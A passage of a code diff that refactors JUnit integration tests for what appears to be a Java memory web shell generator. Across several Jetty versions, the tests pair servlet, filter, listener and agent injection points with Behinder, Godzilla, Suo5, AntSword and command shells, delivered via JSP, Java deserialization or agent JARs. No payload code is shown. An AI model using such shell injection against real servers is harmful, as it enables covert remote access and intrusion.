||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+34
-34
@@ -1,9 +1,9 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -41,36 +41,36 @@ public class Jetty61ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,36 +42,36 @@ public class Jetty76ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -42,36 +42,36 @@ public class Jetty81ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
|
||||
|
||||
+35
-35
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.integration.jetty;
|
||||
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.config.Constants;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packers;
|
||||
import com.reajason.javaweb.memshell.server.JettyShell;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
@@ -43,36 +43,36 @@ public class Jetty92ContainerTest {
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
